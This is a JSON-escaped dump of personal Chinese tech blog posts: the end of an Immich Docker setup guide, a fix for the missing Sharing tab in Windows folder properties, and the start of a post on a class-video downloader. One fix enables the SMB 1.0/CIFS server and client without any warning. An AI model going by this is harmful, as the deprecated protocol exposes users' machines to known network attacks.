左边是宿主机上已有照片的存储位置。如果是 Windows 路径,其中的反斜杠 \u003ccode\u003e\\\u003c/code\u003e 要改成正斜杠 \u003ccode\u003e/\u003c/code\u003e。\u003c/li\u003e\n\u003cli\u003e冒号 \u003ccode\u003e:\u003c/code\u003e 右边是映射到容器中的位置。可以自己修改,之后要在 Immich 的设置中填写。\u003c/li\u003e\n\u003cli\u003e末尾的 \u003ccode\u003e:ro\u003c/code\u003e 是只读模式。因为这是外部图库,我不需要 Immich 来修改,为了防止意外删库选择了只读。如果没有这方面的顾虑,或者需要用 Immich 来删除或者修改外部图库中的图片,就不要添加这个参数。\u003c/li\u003e\n\u003cli\u003e如果有多个外部图库位置可以添加多行,每行对应一个位置,注意映射到容器中的目录不能相同。例如下一行 \u003ccode\u003e- \u0026#34;D:/图\u0026amp;片:/immich-photo-library/图\u0026amp;片:ro\u0026#34;\u003c/code\u003e。\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003ccode\u003e- \u0026#34;D:/Backup/ImmichPhotoBackup:/usr/src/app/upload/upload\u0026#34;\u003c/code\u003e 是图片上传文件夹的目录映射,手动上传的图片和客户端自动备份的图片会存储在这里,需要自己修改。\n\u003cul\u003e\n\u003cli\u003e冒号 \u003ccode\u003e:\u003c/code\u003e 左边是宿主机上为上传文件夹准备的目录。如果是 Windows 路径,其中的反斜杠 \u003ccode\u003e\\\u003c/code\u003e 要改成正斜杠 \u003ccode\u003e/\u003c/code\u003e。因为会上传大量原图,占空间较大,我选择放在机械硬盘。\u003c/li\u003e\n\u003cli\u003e冒号 \u003ccode\u003e:\u003c/code\u003e 右边是映射到容器中的位置,不能修改。\u003c/li\u003e\n\u003cli\u003e不能设置只读。\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e20-21 行:\u003c/p\u003e\n\u003cpre\u003e\u003ccode class=\"language-yml\"\u003eports:\n - 2283:3001\n\u003c/code\u003e\u003c/pre\u003e\n\u003cul\u003e\n\u003cli\u003e这里是外部访问端口映射设置。\u003c/li\u003e\n\u003cli\u003e冒号 \u003ccode\u003e:\u003c/code\u003e 左边的 \u003ccode\u003e2283\u003c/code\u003e 是外部访问端口,可以自己修改,之后用 \u003ccode\u003ehttp://ip:2283\u003c/code\u003e 访问 WebUI。\u003c/li\u003e\n\u003cli\u003e冒号 \u003ccode\u003e:\u003c/code\u003e 右边的 \u003ccode\u003e3001\u003c/code\u003e 是容器内部端口,不能修改。\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e27-36 行:\u003c/p\u003e\n\u003cpre\u003e\u003ccode class=\"language-yml\"\u003eimmich-machine-learning:\n container_name: immich_machine_learning\n # For hardware acceleration, add one of -[armnn, cuda, openvino] to the image tag.\n # Example tag: ${IMMICH_VERSION:-release}-cuda\n image: ghcr.io/immich-app/immich-machine-learning:${IMMICH_VERSION:-release}-cuda\n extends: # uncomment this section for hardware acceleration - see https://immich.app/docs/features/ml-hardware-acceleration\n file: hwaccel.ml.yml\n service: cuda # set to one of [armnn, cuda, openvino, openvino-wsl] for accelerated inference - use the `-wsl` version for WSL2 where applicable\n volumes:\n - ./model-cache:/cache\n\u003c/code\u003e\u003c/pre\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e这里是机器学习容器的设置。\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ccode\u003eimage: ghcr.io/immich-app/immich-machine-learning:${IMMICH_VERSION:-release}-cuda\u003c/code\u003e 这一行前面都不用修改,最后的 \u003ccode\u003e-cuda\u003c/code\u003e 有以下几种选择:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e不加,也就是 \u003ccode\u003eimage: ghcr.io/immich-app/immich-machine-learning:${IMMICH_VERSION:-release}\u003c/code\u003e,使用 CPU 运行机器学习,效率低。\u003c/li\u003e\n\u003cli\u003e\n\u003ccode\u003e-cuda\u003c/code\u003e,支持 CUDA 的 N 卡,效率高,一般最好有 N 卡并且选这个。\u003c/li\u003e\n\u003cli\u003e\n\u003ccode\u003e-armnn\u003c/code\u003e,ARM 的机器学习硬件加速。\u003c/li\u003e\n\u003cli\u003e\n\u003ccode\u003e-openvino\u003c/code\u003e,Intel 的机器学习硬件加速。\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cpre\u003e\u003ccode class=\"language-yml\"\u003eextends:\n file: hwaccel.ml.yml\n service: cuda\n\u003c/code\u003e\u003c/pre\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e这部分是硬件加速机器学习的配置,如果需要的话从 \u003ccode\u003ehttps://github.com/immich-app/immich/releases/latest/download/hwaccel.ml.yml\u003c/code\u003e 下载 \u003ccode\u003ehwaccel.ml.yml\u003c/code\u003e 放在旁边,不用就把这部分注释掉或者删掉。\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003ccode\u003eservices\u003c/code\u003e 有以下可选:\u003c/li\u003e\n\u003cli\u003e\n\u003ccode\u003ecpu\u003c/code\u003e:使用 CPU 进行机器学习。\u003c/li\u003e\n\u003cli\u003e\n\u003ccode\u003ecuda\u003c/code\u003e:使用 N 卡加速机器学习,最推荐。\u003c/li\u003e\n\u003cli\u003e\n\u003ccode\u003eopenvino\u003c/code\u003e:使用 I 卡加速机器学习。\u003c/li\u003e\n\u003cli\u003e\n\u003ccode\u003eopenvino-wsl\u003c/code\u003e:如果使用 I 卡并且安装在 WSL2 中就选择这个。\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e58-59 行:\u003c/p\u003e\n\u003cpre\u003e\u003ccode class=\"language-yml\"\u003evolumes:\n - \u0026#34;database:/var/lib/postgresql/data\u0026#34;\n\u003c/code\u003e\u003c/pre\u003e\n\u003cul\u003e\n\u003cli\u003e这里我没有按照官方提供的文档要求,原版的目录映射是 \u003ccode\u003e- ${DB_DATA_LOCATION}:/var/lib/postgresql/data\u003c/code\u003e,然后 \u003ccode\u003eDB_DATA_LOCATION\u003c/code\u003e 在环境变量中定义为 \u003ccode\u003e./postgres\u003c/code\u003e。原版在 Linux 上能正常工作,但是因为 PostgreSQL 数据库在 NTFS 文件系统上会有权限问题,所以我选择映射到了 Docker 容器的数据卷里。\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e59-70 行:\u003c/p\u003e\n\u003cpre\u003e\u003ccode class=\"language-yml\"\u003evolumes:\n database:\n driver: local\n\u003c/code\u003e\u003c/pre\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e这里是数据库数据卷的设置,和上面的数据库目录映射配合使用。\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e如果上面使用官方原版的目录映射,这里也改成原本的设置:\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cpre\u003e\u003ccode class=\"language-yml\"\u003evolumes:\n model-cache:\n\u003c/code\u003e\u003c/pre\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e\u003ca id=\"content-编写-env\" href=\"https://blog.lsy223622.com/archives/65/#content-%E7%BC%96%E5%86%99-env\" class=\"heading-permalink\" aria-hidden=\"true\" title=\"Permalink\"\u003e\u003c/a\u003e编写 .env\u003c/h2\u003e\n\u003cp\u003e官方 \u003ccode\u003e.env\u003c/code\u003e 模板下载地址:\u003ccode\u003ehttps://github.com/immich-app/immich/releases/latest/download/example.env\u003c/code\u003e\u003c/p\u003e\n\u003cp\u003e以下是我的 .env:\u003c/p\u003e\n\u003cpre\u003e\u003ccode class=\"language-ini\"\u003e# You can find documentation for all the supported env variables at https://immich.app/docs/install/environment-variables\n\n# The location where your uploaded files are stored\nUPLOAD_LOCATION=./library\n# The location where your database files are stored\nDB_DATA_LOCATION=./postgres\n\n# To set a timezone, uncomment the next line and change Etc/UTC to a TZ identifier from this list: https://en.wikipedia.org/wiki/List_of_tz_database_time_zones#List\nTZ=Asia/Shanghai\n\n# The Immich version to use. You can pin this to a specific version like \u0026#34;v1.71.0\u0026#34;\nIMMICH_VERSION=release\n\n# Connection secret for postgres. You should change it to a random password\nDB_PASSWORD=postgres\n\n# The values below this line do not need to be changed\n###################################################################################\nDB_USERNAME=postgres\nDB_DATABASE_NAME=immich\n\nMACHINE_LEARNING_WORKER_TIMEOUT=300\n\u003c/code\u003e\u003c/pre\u003e\n\u003cul\u003e\n\u003cli\u003e大多数都不用改,只需要把 \u003ccode\u003eDB_PASSWORD\u003c/code\u003e 改成一个随机密码就行了。\u003c/li\u003e\n\u003cli\u003e\n\u003ccode\u003eTZ\u003c/code\u003e 是时区设置,我改成了 \u003ccode\u003eAsia/Shanghai\u003c/code\u003e。\u003c/li\u003e\n\u003cli\u003e\n\u003ccode\u003eMACHINE_LEARNING_WORKER_TIMEOUT\u003c/code\u003e 是机器学习工作超时时间,单位秒,不设置默认 120。这意味着如果机器学习工作进程持续这么久无响应就会被强制停止。我有段时间发现高负载的时候搜索时间很长,有时候会超时被强制停止,于是改成了 300 秒,改了之后似乎是够用了。\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e\u003ca id=\"content-下载-hwaccelmlyml\" href=\"https://blog.lsy223622.com/archives/65/#content-%E4%B8%8B%E8%BD%BD-hwaccelmlyml\" class=\"heading-permalink\" aria-hidden=\"true\" title=\"Permalink\"\u003e\u003c/a\u003e下载 hwaccel.ml.yml\u003c/h2\u003e\n\u003cp\u003e官方 \u003ccode\u003ehwaccel.ml.yml\u003c/code\u003e 模板下载地址:\u003ccode\u003ehttps://github.com/immich-app/immich/releases/latest/download/hwaccel.ml.yml\u003c/code\u003e\u003c/p\u003e\n\u003cp\u003e这个文件没啥要改的,要用到硬件加速机器学习的话就下载放在旁边。\u003c/p\u003e\n\u003ch1\u003e\u003ca id=\"content-安装\" href=\"https://blog.lsy223622.com/archives/65/#content-%E5%AE%89%E8%A3%85\" class=\"heading-permalink\" aria-hidden=\"true\" title=\"Permalink\"\u003e\u003c/a\u003e安装\u003c/h1\u003e\n\u003ch2\u003e\u003ca id=\"content-启动-immich\" href=\"https://blog.lsy223622.com/archives/65/#content-%E5%90%AF%E5%8A%A8-immich\" class=\"heading-permalink\" aria-hidden=\"true\" title=\"Permalink\"\u003e\u003c/a\u003e启动 Immich\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e打开终端,进入 \u003ccode\u003edocker-compose.yml\u003c/code\u003e 所在目录。\u003c/li\u003e\n\u003cli\u003e输入 \u003ccode\u003edocker-compose up -d\u003c/code\u003e 启动 Immich。\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e\u003ca id=\"content-访问-immich\" href=\"https://blog.lsy223622.com/archives/65/#content-%E8%AE%BF%E9%97%AE-immich\" class=\"heading-permalink\" aria-hidden=\"true\" title=\"Permalink\"\u003e\u003c/a\u003e访问 Immich\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e打开浏览器,输入 \u003ccode\u003ehttp://ip:2283\u003c/code\u003e 访问 Immich。\u003c/li\u003e\n\u003cli\u003e如果装在本机,可以输入 \u003ccode\u003ehttp://localhost:2283\u003c/code\u003e 访问 Immich。\u003c/li\u003e\n\u003cli\u003e第一次访问会要求设置管理员账号和密码,设置好之后就可以使用了。\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e\u003ca id=\"content-设置-immich\" href=\"https://blog.lsy223622.com/archives/65/#content-%E8%AE%BE%E7%BD%AE-immich\" class=\"heading-permalink\" aria-hidden=\"true\" title=\"Permalink\"\u003e\u003c/a\u003e设置 Immich\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e登录 Immich 后,点击右上角的头像,选择 \u003ccode\u003eAccount Settings\u003c/code\u003e 进入用户设置页面。\u003c/li\u003e\n\u003cli\u003e语言改成简体中文。\u003c/li\u003e\n\u003cli\u003e再次点击右上角的头像,选择 \u003ccode\u003e管理\u003c/code\u003e 进入系统设置页面。\u003c/li\u003e\n\u003cli\u003e点击左边的 \u003ccode\u003e设置\u003c/code\u003e 选项卡。\n\u003cul\u003e\n\u003cli\u003e在 \u003ccode\u003e图片设置\u003c/code\u003e 中根据空间占用需求设置图片的压缩参数。\u003c/li\u003e\n\u003cli\u003e在 \u003ccode\u003e任务设置\u003c/code\u003e 中根据机器性能设置各种任务的并发数量。\u003c/li\u003e\n\u003cli\u003e展开 \u003ccode\u003e机器学习设置\u003c/code\u003e。\n\u003cul\u003e\n\u003cli\u003e在 \u003ccode\u003eURL\u003c/code\u003e 中填入机器学习容器的地址 \u003ccode\u003ehttp://immich-machine-learning:3003\u003c/code\u003e。\u003c/li\u003e\n\u003cli\u003e在 \u003ccode\u003e智能搜索\u003c/code\u003e 中填入一个 clip 模型,推荐支持多语言的 \u003ccode\u003eXLM-Roberta-Large-Vit-B-16Plus\u003c/code\u003e,可以提前从 \u003ccode\u003ehttps://huggingface.co/immich-app/XLM-Roberta-Large-Vit-B-16Plus\u003c/code\u003e 下载好,解压到 \u003ccode\u003edocker-compose.yml\u003c/code\u003e 旁边的 \u003ccode\u003emodel-cache\\clip\u003c/code\u003e 文件夹下。\u003c/li\u003e\n\u003cli\u003e在 \u003ccode\u003e人脸识别\u003c/code\u003e 中选择一个人脸识别模型,推荐 \u003ccode\u003eantelopev2\u003c/code\u003e,可以提前从 \u003ccode\u003ehttps://huggingface.co/immich-app/antelopev2\u003c/code\u003e 下载好,解压到 \u003ccode\u003edocker-compose.yml\u003c/code\u003e 旁边的 \u003ccode\u003emodel-cache\\facial-recognition\u003c/code\u003e 文件夹下。\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e底下的 \u003ccode\u003e视频转码设置\u003c/code\u003e 需要的话也可以设置一下,我选择不要对任何视频进行转码。\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e点击左边的 \u003ccode\u003e外部图库\u003c/code\u003e 选项卡。\n\u003cul\u003e\n\u003cli\u003e点击 \u003ccode\u003e创建图库\u003c/code\u003e。\u003c/li\u003e\n\u003cli\u003e点击新的图库右边的菜单键,重命名和编辑导入路径,导入路径填写在 \u003ccode\u003edocker-compose.yml\u003c/code\u003e 中外部图库映射到容器内的目录。\u003c/li\u003e\n\u003cli\u003e如果有多个外部图库,可以重复上面的步骤。\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e点击左边的 \u003ccode\u003e任务\u003c/code\u003e 选项卡。\n\u003cul\u003e\n\u003cli\u003e点击 \u003ccode\u003e图库\u003c/code\u003e 右边的 \u003ccode\u003e全部\u003c/code\u003e,开始扫描图库。\u003c/li\u003e\n\u003cli\u003e扫描完图库之后,就可以把其他任务都执行一遍,比如智能搜索、人脸检测等。\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch1\u003e\u003ca id=\"content-设置移动设备自动备份\" href=\"https://blog.lsy223622.com/archives/65/#content-%E8%AE%BE%E7%BD%AE%E7%A7%BB%E5%8A%A8%E8%AE%BE%E5%A4%87%E8%87%AA%E5%8A%A8%E5%A4%87%E4%BB%BD\" class=\"heading-permalink\" aria-hidden=\"true\" title=\"Permalink\"\u003e\u003c/a\u003e设置移动设备自动备份\u003c/h1\u003e\n\u003cul\u003e\n\u003cli\u003e下载 Immich 客户端,安装到移动设备上。\n\u003cul\u003e\n\u003cli\u003eAndroid:\u003ca rel=\"noopener noreferrer\" href=\"https://play.google.com/store/apps/details?id=app.alextran.immich\"\u003eGoogle Play\u003c/a\u003e 或 \u003ca rel=\"noopener noreferrer\" href=\"https://github.com/immich-app/immich/releases\"\u003eGitHub\u003c/a\u003e 或 \u003ca rel=\"noopener noreferrer\" href=\"https://f-droid.org/packages/app.alextran.immich\"\u003eF-Droid\u003c/a\u003e。\u003c/li\u003e\n\u003cli\u003eiOS/iPadOS:\u003ca rel=\"noopener noreferrer\" href=\"https://apps.apple.com/us/app/immich/id1613945652\"\u003eApp Store\u003c/a\u003e。\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e在客户端中输入服务端的地址,登录。\u003c/li\u003e\n\u003cli\u003e在客户端右上角打开自动备份页面,选择要备份的文件夹,开启自动备份。\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch1\u003e\u003ca id=\"content-自用懒人小脚本\" href=\"https://blog.lsy223622.com/archives/65/#content-%E8%87%AA%E7%94%A8%E6%87%92%E4%BA%BA%E5%B0%8F%E8%84%9A%E6%9C%AC\" class=\"heading-permalink\" aria-hidden=\"true\" title=\"Permalink\"\u003e\u003c/a\u003e自用懒人小脚本\u003c/h1\u003e\n\u003ch2\u003e\u003ca id=\"content-startbat\" href=\"https://blog.lsy223622.com/archives/65/#content-startbat\" class=\"heading-permalink\" aria-hidden=\"true\" title=\"Permalink\"\u003e\u003c/a\u003estart.bat\u003c/h2\u003e\n\u003cpre\u003e\u003ccode class=\"language-bat\"\u003e@echo off\n\necho Starting Immich...\n\ndocker compose up -d\ndocker compose logs -f\n\necho Done.\n\u003c/code\u003e\u003c/pre\u003e\n\u003ch2\u003e\u003ca id=\"content-updatebat\" href=\"https://blog.lsy223622.com/archives/65/#content-updatebat\" class=\"heading-permalink\" aria-hidden=\"true\" title=\"Permalink\"\u003e\u003c/a\u003eupdate.bat\u003c/h2\u003e\n\u003cpre\u003e\u003ccode class=\"language-bat\"\u003e@echo off\n\necho Pulling Docker images...\n\ndocker compose pull\n\necho:\necho Restarting Immich...\n\ndocker compose stop\ndocker compose up -d\n\necho Done.\n\u003c/code\u003e\u003c/pre\u003e\n\u003ch1\u003e\u003ca id=\"content-结语\" href=\"https://blog.lsy223622.com/archives/65/#content-%E7%BB%93%E8%AF%AD\" class=\"heading-permalink\" aria-hidden=\"true\" title=\"Permalink\"\u003e\u003c/a\u003e结语\u003c/h1\u003e\n\u003cul\u003e\n\u003cli\u003eImmich 确实好用,用了一段时间,感觉非常满意,推荐大家有需要的可以安装试试。\u003c/li\u003e\n\u003cli\u003e有什么问题欢迎在评论区提出或者联系 QQ,我会尽量回答。\u003c/li\u003e\n\u003c/ul\u003e\n\n","url":"https://blog.lsy223622.com/archives/65/"},{"title":"Windows 文件夹属性窗口没有共享标签页的解决方法","time":"2024-07-25T03:33:00Z","content":"\u003chr /\u003e\u003ch1\u003e\u003ca id=\"content-目录\" href=\"https://blog.lsy223622.com/archives/59/#content-%E7%9B%AE%E5%BD%95\" class=\"heading-permalink\" aria-hidden=\"true\" title=\"Permalink\"\u003e\u003c/a\u003e目录\u003c/h1\u003e\n\u003cul class=\"table-of-contents\"\u003e\n\u003cli\u003e\n\u003ca href=\"https://blog.lsy223622.com/archives/59/#content-%E7%9B%AE%E5%BD%95\"\u003e目录\u003c/a\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003ca href=\"https://blog.lsy223622.com/archives/59/#content-%E7%8E%B0%E8%B1%A1\"\u003e现象\u003c/a\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003ca href=\"https://blog.lsy223622.com/archives/59/#content-%E8%A7%A3%E5%86%B3%E6%96%B9%E6%B3%95\"\u003e解决方法\u003c/a\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003ca href=\"https://blog.lsy223622.com/archives/59/#content-%E5%8F%82%E8%80%83%E9%93%BE%E6%8E%A5\"\u003e参考链接\u003c/a\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003ca href=\"https://blog.lsy223622.com/archives/59/#content-%E5%85%B6%E4%BB%96%E8%A7%A3%E5%86%B3%E6%96%B9%E6%B3%95\"\u003e其他解决方法\u003c/a\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch1\u003e\u003ca id=\"content-现象\" href=\"https://blog.lsy223622.com/archives/59/#content-%E7%8E%B0%E8%B1%A1\" class=\"heading-permalink\" aria-hidden=\"true\" title=\"Permalink\"\u003e\u003c/a\u003e现象\u003c/h1\u003e\n\u003cul\u003e\n\u003cli\u003e打开 Windows 资源管理器。\u003c/li\u003e\n\u003cli\u003e右击想要共享的文件夹,选择 \u003ccode\u003e属性\u003c/code\u003e。\u003c/li\u003e\n\u003cli\u003e弹出的窗口没有 \u003ccode\u003e共享\u003c/code\u003e 标签页。\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch1\u003e\u003ca id=\"content-解决方法\" href=\"https://blog.lsy223622.com/archives/59/#content-%E8%A7%A3%E5%86%B3%E6%96%B9%E6%B3%95\" class=\"heading-permalink\" aria-hidden=\"true\" title=\"Permalink\"\u003e\u003c/a\u003e解决方法\u003c/h1\u003e\n\u003col\u003e\n\u003cli\u003e\n\u003cp\u003e按下 \u003ccode\u003eWin + R\u003c/code\u003e 组合键,打开 \u003ccode\u003e运行\u003c/code\u003e 窗口,或打开左下角的搜索框。\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e输入 \u003ccode\u003eregedit\u003c/code\u003e 并回车,打开 \u003ccode\u003e注册表编辑器\u003c/code\u003e。\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e前往 \u003ccode\u003eHKEY_CLASSES_ROOT\\Directory\\shellex\\PropertySheetHandlers\\Sharing\u003c/code\u003e\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e如果找不到上方路径,请在 \u003ccode\u003ePropertySheetHandlers\u003c/code\u003e 文件夹里,创建名为 \u003ccode\u003eSharing\u003c/code\u003e 的文件夹。\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e双击 \u003ccode\u003e(默认)\u003c/code\u003e REG_SZ 机码,把数值改为 \u003ccode\u003e{f81e9010-6ea4-11ce-a7ff-00aa003ca9f6}\u003c/code\u003e 并确定。\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e重启资源管理器,此时右击文件夹,选择 \u003ccode\u003e属性\u003c/code\u003e,就会看到 \u003ccode\u003e共享\u003c/code\u003e 标签页了。\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch1\u003e\u003ca id=\"content-参考链接\" href=\"https://blog.lsy223622.com/archives/59/#content-%E5%8F%82%E8%80%83%E9%93%BE%E6%8E%A5\" class=\"heading-permalink\" aria-hidden=\"true\" title=\"Permalink\"\u003e\u003c/a\u003e参考链接\u003c/h1\u003e\n\u003cblockquote\u003e\n\u003cp\u003e\u003ca rel=\"noopener noreferrer\" href=\"https://answers.microsoft.com/zh-hans/windows/forum/all/%E6%96%87%E4%BB%B6%E5%A4%B9%E6%B2%A1%E6%9C%89/40b44773-b72c-449f-aafe-38dd9d08fb99\"\u003e文件夹没有共享选项,怎么办 - Microsoft Community\u003c/a\u003e\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003ch1\u003e\u003ca id=\"content-其他解决方法\" href=\"https://blog.lsy223622.com/archives/59/#content-%E5%85%B6%E4%BB%96%E8%A7%A3%E5%86%B3%E6%96%B9%E6%B3%95\" class=\"heading-permalink\" aria-hidden=\"true\" title=\"Permalink\"\u003e\u003c/a\u003e其他解决方法\u003c/h1\u003e\n\u003cblockquote\u003e\n\u003cp\u003e我的电脑用上面的方法解决了,但考虑到不同的电脑可能会有不同的问题,这里列出了一些其他的解决方法。\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e启用 \u003ccode\u003e服务\u003c/code\u003e 中的 \u003ccode\u003eServer\u003c/code\u003e 和 \u003ccode\u003eComputer Browser\u003c/code\u003e 服务。\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003e按下 \u003ccode\u003eWin + R\u003c/code\u003e 组合键,打开 \u003ccode\u003e运行\u003c/code\u003e 窗口,或打开左下角的搜索框。\u003c/li\u003e\n\u003cli\u003e输入 \u003ccode\u003eservices.msc\u003c/code\u003e 并回车,打开 \u003ccode\u003e服务\u003c/code\u003e。\u003c/li\u003e\n\u003cli\u003e在打开的服务列表中,找到 \u003ccode\u003eServer\u003c/code\u003e 服务,双击打开。\u003c/li\u003e\n\u003cli\u003e在弹出的窗口中,将 \u003ccode\u003e启动类型\u003c/code\u003e 设置为 \u003ccode\u003e自动\u003c/code\u003e,然后点击右下角的 \u003ccode\u003e应用\u003c/code\u003e 按钮。\u003c/li\u003e\n\u003cli\u003e在服务列表中,继续找到 \u003ccode\u003eComputer Browser\u003c/code\u003e 服务,同样双击打开。\u003c/li\u003e\n\u003cli\u003e在弹出的窗口中,同样将 \u003ccode\u003e启动类型\u003c/code\u003e 设置为 \u003ccode\u003e自动\u003c/code\u003e,最后点击右下角的 \u003ccode\u003e应用\u003c/code\u003e 按钮。\u003c/li\u003e\n\u003cli\u003e重启电脑,再次右击文件夹,选择 \u003ccode\u003e属性\u003c/code\u003e,就会看到 \u003ccode\u003e共享\u003c/code\u003e 标签页了。\u003c/li\u003e\n\u003c/ol\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e开启 \u003ccode\u003eSMB 1.0/CIFS 文件共享支持\u003c/code\u003e\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003e打开左下角的搜索框,输入 \u003ccode\u003e控制面板\u003c/code\u003e 并回车,打开 \u003ccode\u003e控制面板\u003c/code\u003e。\u003c/li\u003e\n\u003cli\u003e在 \u003ccode\u003e控制面板\u003c/code\u003e 中,选择 \u003ccode\u003e程序\u003c/code\u003e -\u0026gt; \u003ccode\u003e程序和功能\u003c/code\u003e。\u003c/li\u003e\n\u003cli\u003e在打开的窗口中,点击左侧的 \u003ccode\u003e启用或关闭 Windows 功能\u003c/code\u003e。\u003c/li\u003e\n\u003cli\u003e在弹出的窗口中,找到 \u003ccode\u003eSMB 1.0/CIFS 文件共享支持\u003c/code\u003e,点击左边的 + 号展开。\u003c/li\u003e\n\u003cli\u003e勾选 \u003ccode\u003eSMB 1.0/CIFS 服务器\u003c/code\u003e 和 \u003ccode\u003eSMB 1.0/CIFS 客户端\u003c/code\u003e,然后点击右下角的 \u003ccode\u003e确定\u003c/code\u003e 按钮。\u003c/li\u003e\n\u003cli\u003e重启电脑,再次右击文件夹,选择 \u003ccode\u003e属性\u003c/code\u003e,就会看到 \u003ccode\u003e共享\u003c/code\u003e 标签页了。\u003c/li\u003e\n\u003c/ol\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e在 \u003ccode\u003e文件夹选项\u003c/code\u003e 中勾选 \u003ccode\u003e使用共享向导\u003c/code\u003e\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003e\n\u003cp\u003e打开 Windows 资源管理器。\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e打开文件夹选项。\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e在 Windows 11 中,点击中间上方的 \u003ccode\u003e…\u003c/code\u003e,然后点击 \u003ccode\u003e选项\u003c/code\u003e。\u003c/li\u003e\n\u003cli\u003e在 Windows 10 中,点击左上角的 \u003ccode\u003e查看\u003c/code\u003e,然后点击右上角的 \u003ccode\u003e选项\u003c/code\u003e。\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e在打开的窗口中,选择 \u003ccode\u003e查看\u003c/code\u003e 标签页。\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e在 \u003ccode\u003e高级设置\u003c/code\u003e 中,找到 \u003ccode\u003e使用共享向导(推荐)\u003c/code\u003e,勾选后点击右下角的 \u003ccode\u003e确定\u003c/code\u003e 按钮。\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e重启资源管理器,再次右击文件夹,选择 \u003ccode\u003e属性\u003c/code\u003e,就会看到 \u003ccode\u003e共享\u003c/code\u003e 标签页了。\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ol\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\n","url":"https://blog.lsy223622.com/archives/59/"},{"title":"关于 XDUClassVideoDownloader 的开发","time":"2024-07-07T14:55:00Z","content":"\u003chr /\u003e\u003ch1\u003e\u003ca id=\"content-目录\" href=\"https://blog.lsy223622.com/archives/56/#content-%E7%9B%AE%E5%BD%95\" class=\"heading-permalink\" aria-hidden=\"true\" title=\"Permalink\"\u003e\u003c/a\u003e目录\u003c/h1\u003e\n\u003cul class=\"table-of-contents\"\u003e\n\u003cli\u003e\n\u003ca href=\"https://blog.lsy223622.com/archives/56/#content-%E7%9B%AE%E5%BD%95\"\u003e目录\u003c/a\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003ca href=\"https://blog.lsy223622.com/archives/56/#content-%E5%86%99%E5%9C%A8%E5%89%8D%E9%9D%A2\"\u003e写在前面\u003c/a\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003ca href=\"https://blog.lsy223622.com/archives/56/#content-%E9%A1%B9%E7%9B%AE%E7%AE%80%E4%BB%8B\"\u003e项目简介\u003c/a\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003ca href=\"https://blog.lsy223622.com/archives/56/#content-%E9%A1%B9%E7%9B%AE%E5%9C%B0%E5%9D%80\"\u003e项目地址\u003c/a\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003ca href=\"https://blog.lsy223622.com/archives/56/#content-%E5%BC%80%E5%8F%91%E8%BF%87%E7%A8%8B\"\u003e开发过程\u003c/a\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003ca 